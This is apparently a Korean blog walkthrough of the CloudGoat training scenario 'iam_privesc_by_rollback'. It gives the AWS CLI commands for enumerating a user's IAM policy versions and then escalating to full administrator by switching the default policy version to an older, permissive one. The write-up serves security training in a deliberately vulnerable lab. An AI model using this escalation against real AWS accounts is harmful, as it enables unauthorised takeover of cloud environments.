Security/Cloud

[CloudGoat] Scenario "iam_privesc_by_rollback" - solution

Omoknooni 2024. 9. 12. 13:27

시나리오 목표

Full Admin 권한 획득

 

시나리오 세팅

./cloudgoat.py create iam_privesc_by_rollback

 

User "raynor"가 주어지며 시작

 

Solution

1. User "raynor" enumeration

먼저 raynor에 연결된 policy들과 권한들을 확인한다.

# User에 연결된 inline Policy 확인
aws iam list-user-policies --user-name [user명] --profile raynor

# User에 연결된 Managed Policy 확인
aws iam list-attached-user-policies --user-name [user명] --profile raynor

# 특정 Policy 정보 확인 (version 정보 확인)
aws iam get-policy --policy-arn [policy ARN]--profile raynor

 

 

2. Policy Version

고객 관리형 Pollicy는 Version을 통해 git과 같이 변경이력의 관리가 가능하다. 이러한 Version은 Policy 별로 5개까지 저장이 되며, 이전 버전의 유지를 통해 언제든지 롤백이 가능하다.

 

 

IAM 정책 버전 관리 - AWS Identity and Access Management

IAM 정책 버전 관리 IAM 고객 관리형 정책을 변경할 때, 그리고 AWS에서 AWS 관리형 정책을 변경할 때 변경된 정책은 기존 정책을 덮어쓰지 않습니다. 대신 IAM에서 관리형 정책의 새 버전을 생성합니

docs.aws.amazon.com

 

이제 이 Policy의 모든 버전기록을 확인해본다.

# 특정 Managed Policy의 모든 버전 확인
aws iam list-policy-versions --policy-arn [policy ARN] --profile raynor

 

총 5개의 버전이 존재하고, 현재 활성화된 버전은 "v1"인 것을 확인할 수 있다.

 

 

그렇다면 각 버전의 Policy 내용을 확인해볼 수 있다.

# 특정 버전의 Managed Policy 내용 확인
aws iam get-policy-version --policy-arn [policy ARN] --version-id [버전 ID] --profile raynor

 

v1부터 v5까지의 버전을 모두 확인한 결과는 아래와 같이 정리된다.

  • v1(현재 설정된 버전): iam:Get*, iam:List*, iam:SetDefaultPolicyVersion
  • v2: */* Allow → "Administrator"
  • v3: s3:ListBucket, s3:GetObject, s3:ListAllMyBuckets
  • v4: 192.0.2.0/24와 203.0.113.0/24 대역의 Source IP가 아닌 모든 Action을 Deny (2개의 대역만 허용)
  • v5: 특정 시간대역에만 iam:Get*을 허용

 

 

현재 v1인 상태에서 SetDefaultPolicyVersion이 존재하기에 Default Policy Version을 v2로 변경하는 의도임을 볼 수 있다.

 

3. Default Policy Version 변경

aws iam set-default-policy-version --policy-arn [policy ARN] --version-id v2 --profile raynor

 

 

Administrator 권한으로 변경된 것을 확인할 수 있다.

 

시나리오 정리

./cloudgoat.py destroy iam_privesc_by_rollback